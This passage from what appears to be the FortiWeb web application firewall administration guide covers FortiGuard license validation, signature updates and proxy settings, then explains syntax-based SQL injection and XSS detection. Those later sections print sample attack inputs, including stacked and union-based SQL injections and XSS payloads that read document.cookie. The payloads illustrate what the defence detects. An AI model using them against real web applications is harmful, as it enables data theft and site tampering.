to validate the license. See License validation with FortiManager on page 470. Please note although FortiManager
can provide FortiGuard security service updates to some Fortinet devices, for FortiWeb, its FDS features can
provide license validation only.
To access this part of the web UI, your administrator's account access profile must have Read permission to items
in the System Configuration category. For details, see Permissions on page 56.
3. In the FortiGuard Information widget, look at the Security Service row, Antivirus row, IP Reputation row,
and Credential Stuffing Defense row.
Valid—At the last attempt, the FortiWeb appliance was able to successfully contact the FDN and validate its FortiGuard
license. Continue with Scheduling automatic signature updates on page 475.
Expired—At the last attempt, the license was either expired or FortiWeb was unable to determine license status due to
network connection errors with the FDN.

Your FortiWeb appliance cannot detect the latest vulnerabilities and compliance
violations unless it is licensed and has network connectivity to download current
definitions from the FortiGuard service.
If the connection did not succeed:

l On FortiWeb, verify the following settings:
l time zone & time
l DNS settings
l network interface up/down status & IP
l static routes
l On your computer, use nslookup to verify that FortiGuard domain names are resolving (license authentication
queries are sent to update.fortiguard.net):
C:\Users\cschwartz>nslookup update.fortiguard.net
Server: google-public-dns-a.google.com
Address: 8.8.8.8
Non-authoritative answer:
Name: fds1.fortinet.com
Addresses: 209.66.81.150
209.66.81.151
208.91.112.66
Aliases: update.fortiguard.net
l Check the configuration of any NAT or firewall devices that exist between the FortiWeb appliance and the FDN or
FDS server override. On FortiWeb, enter the execute ping and execute traceroute commands to verify
that connectivity from FortiWeb to the Internet and FortiGuard is possible:
FortiWeb # exec traceroute update.fortiguard.net

traceroute to update.fortiguard.net (209.66.81.150), 32 hops max, 84 byte packets
1 192.0.2.2 0 ms 0 ms 0 ms
2 209.87.254.221 <static-209-87-254-221.storm.ca> 4 ms 2 ms 3 ms
3 209.87.239.161 <core-2-g0-3.storm.ca> 2 ms 3 ms 3 ms
4 67.69.228.161 3 ms 4 ms 3 ms
5 64.230.164.17 <core2-ottawa23_POS13-1-0.net.bell.ca> 3 ms 5 ms 3 ms
6 64.230.99.250 <tcore4-ottawa23_0-4-2-0.net.bell.ca> 16 ms 17 ms 15 ms
7 64.230.79.222 <tcore3-montreal01_pos0-14-0-0.net.bell.ca> 14 ms 14 ms 15 ms
8 64.230.187.238 <newcore2-newyork83_so6-0-0_0> 63 ms 15 ms 14 ms
9 64.230.187.42 <bxX5-newyork83_POS9-0-0.net.bell.ca> 21 ms 64.230.187.93 <BX5-NEWYORK83_
POS12-0-0_core.net.bell.ca> 17 ms 16 ms
10 67.69.246.78 <Abovenet_NY.net.bell.ca> 28 ms 28 ms 28 ms
11 64.125.21.86 <xe-1-3-0.cr2.lga5.us.above.net> 29 ms 29 ms 30 ms
12 64.125.27.33 <xe-0-2-0.cr2.ord2.us.above.net> 31 ms 31 ms 33 ms
13 64.125.25.6 <xe-4-1-0.cr2.sjc2.us.above.net> 82 ms 82 ms 100 ms
14 64.125.26.202 <xe-1-1-0.er2.sjc2.us.above.net> 80 ms 79 ms 82 ms
15 209.66.64.93 <209.66.64.93.t01015-01.above.net> 80 ms 80 ms 79 ms
16 209.66.81.150 <209.66.81.150.available.above.net> 83 ms 82 ms 81 ms
License validation with FortiManager
If FortiWeb is deployed in a closed network, you can validate your FortiWeb-VM license through FortiManager because
it has built-in FDS (FortiGuard Distribution Servers) feature. This requires FortiManager to have Internet connection. To

configure FortiWeb-VM to validate its license using FortiManager, before you upload the license, enter the following
command:
config system autoupdate override
set status enable
set address <fortimanager_ip>:8890
set fail-over disable
end
where <fortimanager_ip> is the IP address of the FortiManager. (TCP port 8890 is the port where the built-in
FDS feature listens for requests.)
For more information on the FortiManager built-in FDS feature, see the FortiManager Administration Guide.
Although FortiManager can provide FortiGuard security service updates to some

Fortinet devices, for FortiWeb, its FDS features can provide license validation only.
To verify FortiGuard update connectivity
1. If your FortiWeb appliance must connect to the Internet (and therefore FDN) through an explicit (non-transparent)
web proxy, first you must configure the proxy connection. For details, see Accessing FortiGuard via a proxy on page
473.
2. Go to System > Config > FortiGuard.
3. If you want your FortiWeb appliance to connect to a specific FDS other than the default for its time zone, enable
Override default FortiGuard address and enter the IP address and port number of an FDS in the format <FDS_
ipv4>:<port_int>, such as 10.0.0.1:443, or enter the domain name of an FDS.
4. Click Apply.
5. Click Update Now.
The FortiWeb appliance tests the connection to the FDN and, if any, the server you specified to override the default
FDN server. Time required varies by the speed of the FortiWeb appliance’s network connection, and by the number
of timeouts that occur before the connection attempt is successful or the FortiWeb appliance determines that it
cannot connect. If you have enabled logging via:
l Log & Report > Log Config > Other Log Settings
l Log & Report > Log Config > Global Log Settings
test results are indicated in Log & Report > Log Access > Event
If the connection test did not succeed due to license issues, you would instead see this log message:
FortiWeb is unauthorized
For more troubleshooting information, enter the following commands:
diagnose debug application fds 8
These commands display cause additional information in your CLI console. For example:
FortiWeb # [update]: Poll timeout.
FortiWeb # *ATTENTION*: license registration status changed to 'VALID',please logout and
re-login
For example, poll (license and update request) timeouts can be caused by incorrectly configured static routes and
DNS settings, links with high packet loss, and other basic connectivity issues. Unless you override the behavior with
a specific FDS address (enable and configure Override default FortiGuard address), FortiWeb connects to the

FDN by communicating with the server closest to it according to the configured time zone. Timeouts can therefore
also be caused by configuring an incorrect time zone.
See also
l Blacklisting source IPs with poor reputation on page 442

l Antivirus Scan on page 602
l "Recognizing data types" on page 1
l Enabling log types, packet payload retention, & resource shortage alerts on page 701
l Configuring log destinations on page 705
l Viewing log messages on page 718
Choosing the virus signature database & decompression buffer
Most viruses initially spread, but as hosts are patched and more networks filter them out, their occurrence becomes
more rare.
Fortinet’s FortiGuard Global Security Research Team continuously monitors detections of new and older viruses. When
a specific virus has not been detected for one year, it is considered to be dormant. It is possible that a new outbreak
could revive it, but that is increasingly unlikely as time passes due to the replacement of vulnerable hardware and
patching of vulnerable software. As a result, dormant viruses’ signatures are removed from the “Regular” database, but
preserved in the “Extended” signature database.
If your FortiWeb’s performance is more critical than the risk of these dormant viruses, you can choose to omit signatures
for obsolete viruses by selecting the “Regular” database in System > Config > FortiGuard.
To select the virus database and maximum buffer size

2. Under the FortiWeb Virus Database section, select the database(s) and maximum antivirus buffer size according
to these options:
Regular Select to use only the signatures of viruses and greyware that have been detected by
Virus FortiGuard’s networks to be recently spreading in the wild.
Database
Extended Select to use all signatures, regardless of whether the viruses or greyware are currently
Virus spreading.
Database
Use Enable to use FortiSandbox's malware signature database to enhance FortiWeb's virus
FortiSandbox detection in addition to using the regular virus database or extended virus database.
Malware FortiWeb downloads the malware signature database from a FortiSandbox appliance or
Signature FortiSandboxCloud every 10 minutes. For details, see To configure a FortiSandbox connection
Database on page 598.

Maximum Type the maximum size in kilobytes (KB) of the memory buffer that FortiWeb uses to
Antivirus temporarily undo the compression that a client or web server has applied to traffic, in order to
Buffer Size inspect and/or modify it. The maximum acceptable values are:
102400 KB: FortiWeb 100D, 400C, 400D, 600D, 1000C, 3000CFsx, 3000DFsx, 4000C
204800 KB: FortiWeb 1000D, 2000D, 3000D, 4000D, 1000E, 2000E, 3010E
358400 KB: FortiWeb 3000E, 4000E
Caution: Unless you configure otherwise, compressed requests that are too large for this
buffer pass through FortiWeb without scanning or rewriting. This could allow viruses to
reach your web servers, and cause HTTP body rewriting to fail. If you prefer to block
requests greater than this buffer size, configure Body Length on page 537. To be sure that it
will not disrupt normal traffic, first configure Action on page 539 to be Alert. If no problems
occur, switch it to Alert & Deny.
See also
Accessing FortiGuard via a proxy
You can access FortiGuard via a proxy using two methods:

l Use a FortiWeb as a proxy. For details, see To access FortiGuard via a FortiWeb proxy on page 474.
l Use a web proxy server. For details, see Access FortiGuard via a web proxy server on page 474.
To use a FortiWeb as a proxy, you must first configure a FortiWeb in the network to act as an FDS proxy. For details,
see To configure a FortiWeb as a proxy on page 473.
To configure a FortiWeb as a proxy
You can configure FortiWeb to act as an FDS proxy so that other FortiWebs in the network are able to connect to
FortiGuard for license validation. Other FortiWebs in the network also can update services from the FortiWeb FDS
proxy, but the Fortiweb FDS proxy must first schedule a poll update to get service files. You can further configure the
proxy either in the CLI or the web UI to override the default FDS list, but it must first be enabled in the CLI. You can also
schedule poll updates for the FDS proxy.
1. In the CLI, enter these commands:
set fds-proxy enable
end
2. Go to System > Config > FDS Proxy.
3. Optionally, enable Override Default FortiGuard IP Address to configure this setting:
Override Default Enter the IP address or domain name of the particular FDS to which
FortiGuard IP Address you want FortiWeb to connect.
4. Optionally, enable Scheduled Poll Update to set intervals at which FortiWeb will poll updates from FDS. If
enabled, select one of the following:
l Every—FortiWeb will poll updates every x hour(s), where x is the integer that you select from the drop-down
menu.

l Daily—FortiWeb will poll updates every day at the hour that you specify from the drop-down menu. For
example, if you select Daily and specify 15, FortiWeb will poll updates every day at 15:00 (24-hour), or
03:00pm (12-hour).
l Weekly—FortiWeb will poll updates on the day and time that you specify. For example, if you select Weekly
and specify Tuesday for the day and 16 for the hour, FortiWeb will poll updates every Tuesday at 16:00 (24-
hour), or 04:00pm (12-hour).
You can also click Poll Now to immediately poll updates from FDS. Click
Refresh to see the status of the FDS proxy update.
5. Click Apply.
To access FortiGuard via a FortiWeb proxy
You can configure FortiWeb to access FDS for license validation via a FortiWeb proxy in the network, and to update
services from the FortiWeb proxy that receives services files from FDS via 'Poll Now' or 'Schedule Poll Update'. To do so,
you must first configure a FortiWeb as a FDS proxy. For details, see To configure a FortiWeb as a proxy on page 473.
2. Under the FortiWeb Update Service Options section, enable Override default FortiGuard Address.
3. In the Override default FortiGuard Address field, enter the IP address or domain name of the FortiWeb proxy
you configured in To configure a FortiWeb as a proxy on page 473.
4. Click Apply.
Access FortiGuard via a web proxy server
Using the CLI, you can configure FortiWeb to connect through an explicit (non-transparent) web proxy server to the
FortiGuard Distribution Network (FDN) for signature updates. FortiWeb connects to the proxy using the HTTP CONNECT
method as described in RFC 2616 (http://tools.ietf.org/rfc/rfc2616.txt).
CLI Syntax
config system autoupdate tunneling
set status enable
set address 192.168.1.10
set port 8080
set username FortiWeb
set password myPassword1
end

How often does Fortinet provide FortiGuard updates for FortiWeb?
Security is only as good as your most recent update. Without up-to-date signatures and blacklists, your network would
be vulnerable to new attacks. However, if updates are released before adequate testing and are not accurate, FortiWeb
scans would result in false positives or false negatives. For maximum benefit and minimum risk, updates must balance
two needs: to be both accurate and current.

Fortinet releases FortiGuard updates according to the best frequency for each technology.
l Antivirus—Multiple times per day. Updates are fast to test and low risk, while viruses can spread quickly and the
newest ones are most common.
l IP reputation—Once per day (approximately). Some time is required to make certain of an IP address’ reputation,
but waiting too long would increase the probability of blacklisting innocent DHCP/PPPoE clients that re-use an IP
address previously used by an attacker.
l Attack, data type, suspicious URL, and data leak signatures—Once every 1-2 weeks (approximately).
Signatures must be tuned to be flexible enough to match heuristic permutations of attacks without triggering false
positives in similar but innocent HTTP requests/responses. Signatures must then be thoroughly tested to analyze
any performance impacts and mismatches that are an inherent risk in feature-complete regular expression engines.
Many exploits and data leaks also continue to be relevant for two years or more, much longer than most viruses.
l Geography-to-IP mappings—Once every month (approximately). These change rarely. FortiWeb can poll for
these updates and automatically apply them through the FortiGuard Distribution Servers. Please note that you
must manually upload these updates if your deployments do not have an Internet connection.
See also

l "Predefined data types" on page 1
Scheduling automatic signature updates
Your FortiWeb appliance uses signatures, IP lists, and data type definitions for many features, including to detect
attacks such as:
l Cross-site scripting (XSS)
l SQL injection
l Other common exploits
l Data leaks
FortiWeb can also use virus definitions to block Trojan uploads, IP reputation definitions to allow search engines but
block botnets and anonymize proxies preferred by hackers, and the spilled account credential database to prevent
credential stuffing attacks. FortiGuard services ensure that your FortiWeb is using the most advanced attack
protections. Timely updates are crucial to defending your network.
You can configure the FortiWeb appliance to periodically poll for FortiGuard service updates from the FDN, and
automatically download and apply updates if they exist. For example, you might schedule update requests every night
at 2 AM local time, when traffic volume is light. You can also use the command config system global to upgrade
from the Anycast server. For more information, see set fortiguard-anycast {enable | disable} in
config system global in FortiWeb CLI Reference(https://docs.fortinet.com/product/fortiweb/).

Alternatively, you can manually upload update packages, or initiate an update

request. For details, see Manually initiating update requests on page 477 and
Uploading signature & geography-to-IP updates on page 478.
You can manually initiate updates as alternatives or in conjunction with scheduled
updates. For additional/alternative update methods, see Manually initiating update
requests on page 477.
To configure automatic updates
1. Verify that the FortiWeb appliance has a valid license and can connect to the FDN, or (if destination NAT is used,
for example) the IP address that you are using to override the default IPs for FDN servers. For details, see To
determine your FortiGuard license status on page 469 and To verify FortiGuard update connectivity on page 471.
The page informs you if you are not registered or if registration has expired. If your registration is active, continue
scheduling updates; otherwise, click Register or Renew.
3. Enable Scheduled Update.
4. Select one of the following options:
l Every—Select to request to update once every 1 to 23 hours, then select the number of hours between each
update request.
l Daily—Select to update once every day, then select the hour. The update attempt occurs at a randomly
determined time within the selected hour.
l Weekly—Select to request to update once a week, then select the day of the week, the hour, and the minute
of the day to check for updates.
If you select 00 minutes, the update request occurs at a randomly determined time within the selected hour.
5. Click Apply.
The FortiWeb appliance next requests an update according to the schedule.
At the scheduled time, FortiWeb starts the update. Under Current update status, the following information is
displayed:
l The name of the update package that is currently downloading, the start time of the download operation, and the
percentage complete.
l A Refresh button, which allows you to update the package download status information.
l If FortiWeb is downloading an anti-virus package, a Stop Download button.
This option is useful if the download is slow and you want to stop it and try again later. It can also be useful if you want
to stop the scheduled update and instead update your anti-virus package using a file you have manually downloaded
from the Fortinet Technical Support website (Uploading signature & geography-to-IP updates on page 478.)
Results of the update activity appear in Security Service in the FortiGuard Information widget. If you have enabled
logging in:
when the FortiWeb appliance requests an update, the event is recorded in Log & Report > Log Access > Event.
Example log messages include:
FortiWeb virus signature is already up-to-date

FortiWeb IP reputation signature update succeeded
If the FortiWeb appliance cannot successfully connect, it records a log with a message that varies by the cause of the
error, such as:
FortiWeb is unauthorized.
Once the attack signature update is complete, FortiWeb immediately begins to use them. No reboot is required.
See also
l "Predefined data types" on page 1
Manually initiating update requests
If an important update has been released but there is too much time remaining until your appliance’s next scheduled
update poll, you can manually trigger the FortiWeb appliance to connect to the FDN or FDS server override to request
available updates for its FortiGuard service packages.
You can manually initiate updates as an alternative or in addition to other update

methods. For details, see Scheduling automatic signature updates on page 475 and
To manually request updates
1. Before manually initiating an update, first verify that the FortiWeb appliance has a valid license and can connect to
the FDN or override server. For details, see To determine your FortiGuard license status on page 469 and To verify
FortiGuard update connectivity on page 471.
3. Click Update Now.
The web UI displays a message similar to the following:
Your update request has been sent. Your database will be updated in a few minutes. Please check
your update page for the status of the update.
After the update starts, under Current update status, the following information is displayed:

l The name of the update package that is currently downloading

l The start time of the download operation
l The percentage complete
l A Refresh button, which allows you to update the package download status information.
l If FortiWeb is downloading an anti-virus package, a Stop Download button.
This option is useful if, for example, the download is slow and you want to stop it and try again later. It can also be
useful if you want to stop the scheduled update and instead update your anti-virus package using a file you have
manually downloaded from the Fortinet Technical Support website. For details, see Uploading signature &
geography-to-IP updates on page 478.
Results of the update activity appear in FortiWeb Security Service in the FortiGuard Information widget. If
you have enabled logging in:
when the FortiWeb appliance requests an update, the event is recorded in Log & Report > Log Access >
Event. Example log messages include:
FortiWeb virus signature is already up-to-date
FortiWeb IP reputation signature update succeeded
If the FortiWeb appliance cannot successfully connect, it will record a log with a message that varies by the cause
of the error, such as:
FortiWeb is unauthorized.
Once the attack signature update is complete, FortiWeb will immediately begin to use them. No reboot is required.
Uploading signature & geography-to-IP updates
You can manually update the geography-to-IP mappings and the attack, virus, and botnet signatures that your FortiWeb
appliance uses to detect attacks. Updating these ensures that your FortiWeb appliance can detect recently discovered
variations of these attacks, and that it knows about the current statuses of all IP addresses on the public Internet.
After restoring the firmware of the FortiWeb appliance, you should install the most currently available packages through
FortiGuard. Restoring firmware installs the packages that were current at the time the firmware image file was made:
they may no longer be up-to-date.
Alternatively, you can schedule automatic updates, or manually trigger the

appliance to immediately request an update. For details, see Scheduling automatic
signature updates on page 475 and Manually initiating update requests on page
477.
This does not, however, update geography-to-IP mappings, which still must be
uploaded manually.
To manually upload signatures
1. Download the file from the Fortinet Technical Support website:


4. In the row next to the service whose signatures you want to upload, click the Update link.
A dialog appears that allows you to upload the file.
5. Click the Browse button (its name varies by browser) and select the signatures file, then click OK.
Your browser uploads the file. Time required varies by the size of the file and the speed of your network connection.
Once the attack signature update is complete, FortiWeb will immediately begin to use them. No reboot is required.
See also
l Restoring firmware (“clean install”) on page 859
Enforcing new FortiGuard signature updates
FortiWeb now allows to deploy new signature updates in alert mode. This provides a mechanism for customers to first
test new signatures in their environment before setting them to block mode.
When you update the FDS, new signatures in the update will be listed in Signature Update Management pane, and
you can view the new signatures here.
If Signature Update Management is not enabled in Feature Visibility, you must

enable it by going to System > Config > Feature Visibility.
When you update the FDS, those untreated signatures will be automatically applied.
To update the FortiGuard signature

2. Click Signature Update Management tab.
New signatures in the update if any are listed here. You can see the signature ID, description, and status (Applied,
Unapplied) of each signature.
3. Select one signature, and you can perform any of the three actions:
l Disable: disable the signature across all the web protection policies. If this signature related rule brings
multiple blocks, you can confirm the false positive and enable this option.

l Approve: change the Alert mode of the signature to normal status, with the action as configured in signature
protection policy.
l Undo: use this option to cancel the "Disable" and "Approve" operations for a signature.
Receiving quarantined source IP addresses from FortiGate
FortiGate can maintain a list of source IPs that it prevents from interacting with the network and protected systems. You
can configure FortiWeb to receive this list of IP addresses at intervals you specify. You can then configure an inline
protection profile to detect the IP addresses in the list and take an appropriate action.
This feature is available only if the operating mode is Reverse Proxy or True Transparent Proxy.
To configure a FortiGate appliance that provides banned source IPs
1. Go to System > Config > FortiGate Integration.

Enable Select to enable transmission of quarantined source IP address information

from the specified FortiGate.
FortiGate IP Address Specify the FortiGate IP address that is used for administrative access.
FortiGatePort Specify the port that the FortiGate uses for administrative access via HTTPs.
In most cases, this is port 443.
Protocol Specify whether the FortiGate and FortiWeb communicate securely using
HTTPS.
Administrator Name Specify the name of the administrator account that FortiWeb uses to connect
to the FortiGate.
Administrator Password Specify the password for the FortiGate administrator account that FortiWeb
uses.
Schedule Frequency Specify how often FortiWeb checks the FortiGate for an updated list of
banned source IP addresses, in hours. The valid range is 1 to 5.
3. Click Apply to save your changes.

4. To configure FortiWeb to detect the quarantined IP addresses and take the appropriate action, configure the
FortiGate Quarantined IPs settings in an inline protection profile. For details, see Configuring a protection profile
See also

False Positive Mitigation for SQL Injection signatures
The signatures that FortiWeb uses to detect SQL injection attacks are classified into three classes: SQL injection, SQL
injection (Extended) and SQL injection (Syntax Based Detection). You can see them being listed in a signature policy.
For details, see Blocking known attacks & data leaks on page 461.
When SQL injection or SQL injection (Extended) is enabled, FortiWeb scans the requests and matches them with the
signatures based on pattern recognition (multi-pattern keyword and regular expression patterns). However, such an
approach may cause false positives; one normal request might be mistakenly marked as a SQL injection attack. For
example, the below requests will match the signature and trigger a false positive because the second request has the
key words select and user in the parameter value:
GET /test.asp?id=1 and 0<>(select count(*) from user_table where user like 'admin') HTTP/1.1
GET /test.asp?text= please select a user from the group to test our new product HTTP/1.1
When False Positive Mitigation is enabled, a triggered signature request is processed further to validate whether it
contains valid SQL content.
To verify whether the request is an SQL injection, FortiWeb uses lexical analysis which converts the statement
characters in the request into a sequence of tokens. It then runs the tokens through different built-in SQL templates and
using a SQL parser it validates whether this is a true SQL structure. If it is then this event is not a false positive and
FortiWeb triggers the signature violation action
Syntax-based SQL injection detection uses a new approach based on lexical and
syntax analysis to detect SQL injection attacks without false positives and false
negatives. Therefore, it does not require False Positive Mitigation.
Syntax-Based SQL Injection detection is configured with signatures for your
convenience; these are not technically signatures and do not use regex and pattern
matching.
Enable False Positive Mitigation for SQL Injection and SQL Injection (Extended)
When you enable SQL Injection and/or SQL Injection (Extended) in a signature policy, you can also enable False
Positive Mitigation for those signatures.
2. Select the signature policy to open the edit panel.
3. Click the buttons for SQL Injection and/or SQL Injection (Extended) in the False Positive Mitigation field on the
table.
Alternatively, you can apply False Positive Mitigation to SQL Injection and/or SQL Injection (Extended) when
editing the signatures. From Web Protection > Known Attacks > Signatures view or edit a signature policy
and click Signature Details. Select the SQL Injection and/or SQL Injection (Extended) folder and enable False
Positive Mitigation.
4. Optionally, define specific signatures to which you would not like to apply False Positive Mitigation. By
default, when you enable False Positive Mitigation, it applies to all supported signatures. You can select
specific signatures and disable False Positive Mitigation.

Syntax-based SQL/XSS injection detection
Using regular expression-based signatures to detect SQL/XSS injection attacks is core to a WAF solution. However, it is
a continuous and tedious process to maintain and update the signatures to address new evasion techniques and to tune
false positives and negatives for some attacks. To address this, syntax-based SQL/XSS injection detection is
introduced.
Syntax-based SQL injection detection
As the nature of the SQL language is similar to English grammar, false positives can occur together with false
negatives. For example, one regular expression rule cannot completely cover all the variables of a SQL injection type,
such as:
SELECT * FROM users WHERE id = 1 OR 1=1
SELECT * FROM users WHERE id = 1 OR abc=abc
SELECT * FROM users WHERE id = 1 OR 3<5
SELECT * FROM users WHERE id = 1 OR UTC_DATE()=UTC_DATE()
To address this, FortiWeb's syntax-based SQL injection detection approach detects a SQL injection attack by analyzing
the lexeme and syntax of SQL language rather than using a pattern matching mechanism. It first turns the input
statement into a sequence of tokens, and then turns the sequence of tokens into an abstract syntax tree (AST), which is
a representation of the abstract syntactic structure of the input statement. The parser compares the produced AST with
the AST of built-in standard SQL statements to check whether they have the same AST structure. If the syntactic
structures are different, FortiWeb recognizes it as a SQL injection attempt and then triggers the violation action.
How syntax-based SQL injection detection works
When clients access web applications, they input values in fields rather than the entire SQL statement. The application
inserts the values into an SQL statement and sends the query to the database.
For example, you may be asked to enter the employee ID on the web page when you want to check someone's profile.
The employee ID is the condition value for the query, and it is sent to the web server by a request:
GET /employee_profile.asp?employee_id=20001 HTTP/1.1
Then the received value 2001 will be combined with a SQL template to generate a SQL statement for the query:
select * from employee where employee_no = 2001
However, if a client inputs the condition value with a snippet such as 1 or 1 = 1, it might be a SQL injection attempt.
When syntax-based SQL injection detection is configured, the snippets in requests will be processed by SQL template
combination, grammar parsing, and an AST comparison to validate whether it is a SQL injection. For example, the
snippet 1 or 1 = 1 will be extracted from request
GET /employee_profile.asp?employee_id=1 or 1 = 1 HTTP/1.1
and combined with a FortiWeb built-in template

select * from t where v = [injection point]
to generate the SQL statement

select * from t where v = 1 or 1 = 1

FortiWeb runs the process to build an AST for the target SQL statement and compare it with the FortiWeb built-in
standard AST to see if they have the same structure. Different but equivalent SQL statements yield the same AST
structure, and nonequivalent SQL statements have different AST structures. For example, here is a built-in standard
statement and two target statements:
l Built-in standard statement: select * from t where v = 1
l Target statement 1: select * from t where v = WAF products
l Target statement 2: select * from t where v = 1 or 1 = 1
The first target statement is equivalent to the built-in standard statement. Each has the same AST structure as
illustrated below:
Standard AST structure Target AST structure 1
SELECT * FROM t WHERE v = 1 SELECT * FROM t WHERE v = WAF products
SELECT select list FROM table list WHERE clause SELECT select list FROM table list WHERE clause
* t * t
condi!on 1 condi!on 1
v=1 v = WAF products
The second target statement is not equivalent to the built-in standard statement:
Standard AST structure Target AST structure 2
SELECT * FROM t WHERE v = 1 SELECT * FROM t WHERE v = 1 OR 1 = 1
SELECT select list FROM table list WHERE clause SELECT select list FROM table list WHERE clause
* t * t
condi!on 1 condi!on 1 OR condi!on 2

v=1 v=1 1=1
They are different AST structures, and as a result FortiWeb will detect an SQL injection attempt.
Built-in SQL statement templates
To address all possible injection points FortiWeb needs to first understand the probable context of SQL statements. The
common three options are:
select * from employee where employee_no = "2001"
select * from employee where employee_no = '2001'
select * from employee where employee_no = 2001
To cover all cases that an attacker might try, syntax-based SQL injection detection employs the following three
templates:
l Double Quote Based SQL Injection: select * from t where v = "[injection point]"
l Single Quote Based SQL Injection: select * from t where v = '[injection point]'
l As-Is Based SQL Injection: select * from t where v = [injection point]
By default, FortiWeb enables all three templates. While you can disable each one, it is not recommended to do so
unless you're absolutely certain that this query type is not supported by the database.

SQL injection types
Once a snippet is identified as an SQL injection, FortiWeb will describe the SQL injection types and show corresponding
ASTs, such as:
SQL Injection types Snippet examples
Stacked queries SQL injection 1; delete from users
Embedded queries 1 union select username, password from

users
1 /*! ; drop table admin */
Condition based boolean injection 1 /**/OR/**/1/**/=/**/1

1 OR ’abc’=’abc’
case 1 when 2 then '2' end
1 || user_id is not null
Arithmetic operation based boolean injection a'+'b

A' DIV 'B
A' & 'B
Line comments 1"--

1 #abc
SQL function based boolean injection ascii(substring(length(version()),1,1))
Syntax-based XSS injection detection
For false positive/negative issues, the signature-based XSS detection approach is based on regular expression rules,
which is hard to define XSS attacks precisely and cover all XSS related signatures such as HTML tags, attributions and
JavaScript functions. For example, "</script>" is a HTML closing tag, the signature-based XSS detection approach
detects the input as XSS by the signature "</script>"; while this is just normal user input. Another example, HTML5 uses
many new HTML elements; to detect these new HTML elements related XSS, corresponding regular expressions shall
be added; in this case, it's very possible to miss some HTML elements, which causes XSS false negatives.
In addition, attackers can do obfuscation for JavaScript XSS code to bypass signature-based XSS detection. For
example, l=self,___=1?'ert(123)':0,_=l?'al':0,__=1?'ev':0,l[__+_](_+___) is the obfuscated
code for "alert(123)".
To address this, FortiWeb's syntax-based XSS injection detection module detects a XSS injection attack by analyzing
the HTML/JavaScript syntax.
For false positive issue, HTML/Javacript based XSS detection does HTML document parsing and JavaScript compiling,
and only valid HTML and JavaScript codes will be detected as XSS attacks.
For false negative issue, HTML/Javacript based XSS detection does JavaScript compiling for suspicious codes and
checks the compiled results, which can prevent attackers from obfuscating XSS code to bypass WAF.

How syntax-based XSS injection detection works
This section shows how HTML/JavaScript based XSS injection detection approach works for each of the five XSS attack
types.
l HTML Attribute Based XSS Injection
The web application uses the user input to fill an input element's attribute without doing any user input filtering.
For example,
<input type="text" name="state" value="INPUT_FROM_USER">
An attacker submits the code " onfocus="alert(document.cookie), and the final code is <input
type="text" name="state" value="" onfocus="alert(document.cookie)">.
The HTML/JavaScript based XSS injection detection approach does HTML document parsing for the template
"<input value="">" and generates the HTML document tree. After filling the user input, the template is
<input value="" onfocus="alert(document.cookie)">, and the approach does HTML document
parsing for this template.
The figure below shows the tree changes:
This approach checks via JavaScript compiling if the value "Onfocus" is valid JavaScript code. If the compiling
succeeds, the user input will be detected as XSS attack.
l HTML Tag based XSS Injection Detection
For the XSS attack example in last section, the attacker can also insert another HTML code "><a
onmouseover='javascript:alert(/xss/)' href="">x</a>. The template will be as follows after the
attacker's input is embedded and the HTML document tree is changed.

This approach checks via JavaScript compiling if the value "onmouseover" is valid JavaScript code. If the compiling
succeeds, the user input will be detected as XSS attack.
l HTML CSS based XSS Injection Detection
An attacker can inject CSS code exploiting a CSS injection vulnerability.
For example, an attacker injects a new HTML IMG tag with STYLE attribution whose value is CSS code instead of
JavaScript code; thus doing JavaScript compiling directly for the STYLE attribution value will fail and you need to
parse the value according to CSS syntax. If these is any sensitive syntax in the attribution value, it will be detected
as an XSS attack.
<IMG STYLE="xss:expression(alert('XSS'))" src=#>
l Function based XSS Injection Detection
The example below shows the source code on server side which has JavaScript type XSS vulnerability. The variable
"content" gets the user input without applying any XSS check.
<html>
<body>
Search:<div id="kw"></div>
<script>
var content="<?php echo $_GET['keyword'] ?>";
document.getElementById("kw").innerHTML=content;
</script>
</html>
</body>
An attacker can submit keyword=hello";alert(/xss/)// argument to trigger XSS attack; the JavaScript
code will be var content="hello";alert(/xss/)//";.
To detect the XSS, use the JavaScript template var content="USER-INPUT";. Insert the user input in the
template var id="hello";alert(/xss/)//";.
If JavaScript compiling succeeds, check if extra function calls are introduced from the JavaScript compiling results.
If yes, it means the attacker succeeds to inject JavaScript function for XSS, as normal user input will not introduce
any JavaScript functions in the compiling results. In the figure below, one more function "Alert" is added in the

results.
l Variable based XSS Injection Detection

For example, the variable "content" gets the user input without applying any XSS check.
<html>
<body>
Search:<div id="kw"></div>
<script>
var content="<?php echo $_GET['keyword'] ?>";
document.getElementById("kw").innerHTML=content;
</script>
</html>
</body>
An attacker can submit keyword=hello";document.body.innerHTML="<a onmouseover =
'hello";document.body.innerHTML="xss"// argument to trigger XSS attack; the JavaScript code will
be var content=hello";document.body.innerHTML="<a onmouseover =
'hello";document.body.innerHTML="xss"//;.
To detect the XSS, use the JavaScript template var content="USER-INPUT";. Insert the user input in the
template var id="hello";document.body.innerHTML="<a onmouseover =
'hello";document.body.innerHTML="xss"//";.
If JavaScript compiling succeeds, check if sensitive HTML DOM variable is introduced from the JavaScript
compiling results. If yes, it means the attacker succeeds to achieve XSS by writing HTML DOM varibale. In the
figure below, one more variable "document.body.innerHTML" is added in the results.

Configure Syntax Based SQL/XSS Injection detection policies
1. Go to Web Protection > Advanced Protection > SQL/XSS Syntax Based Detection, select existing syntax
based detection policy or create a new one.
Name Type a name that can be referenced by other parts of the configuration.
Status Click to enable or disable the attack type detection for this rule.
Action In each row, select the action that FortiWeb takes when it detects a
violation of the rule.
message.
You can customize the web page that FortiWeb returns to the client
with the HTTP status code. For details, see Customizing error and
protection profile and generate an alert email and/or log message.
Reason on page 228.
returns to the client. For details, see Customizing error and
number of seconds. Also configure Period Block on page 488.
Note: Logging and/or alert email will occur only if enabled and configured.
Period Block In each row, type the number of seconds that you want to block subsequent
requests from the client after the FortiWeb appliance detects that the client

contains a Severity Level (severity_level) field. In each row, select
which severity level the FortiWeb appliance will use when it logs a violation
of the rule:
l Informative
l Low
l Medium
l High
Threat Weight Set the weight for the threat by dragging the bar.
when it logs and/or sends an alert email about a violation of each rule. For
SQL Syntax Based Detection Configure to prevent a variety of SQL injection attacks.
The syntax-based SQL detection approach uses Lexical analysis to verify
whether requests are true SQL Injection attacks. This virtually eliminates
SQL Injection false positives and false negatives.
XSS Syntax Based Detection Configure to prevent XSS injection attacks.

The syntax-based XSS detection approach detects a XSS injection attack by
analyzing the HTML/JavaScript syntax.
It does HTML document parsing and JavaScript compiling, and checks
whether the compiled results include valid HTML and JavaScript codes.
3. Click OK.
4. To apply the syntax based detection policy, select it in Configuring a protection profile for inline topologies on page
223.
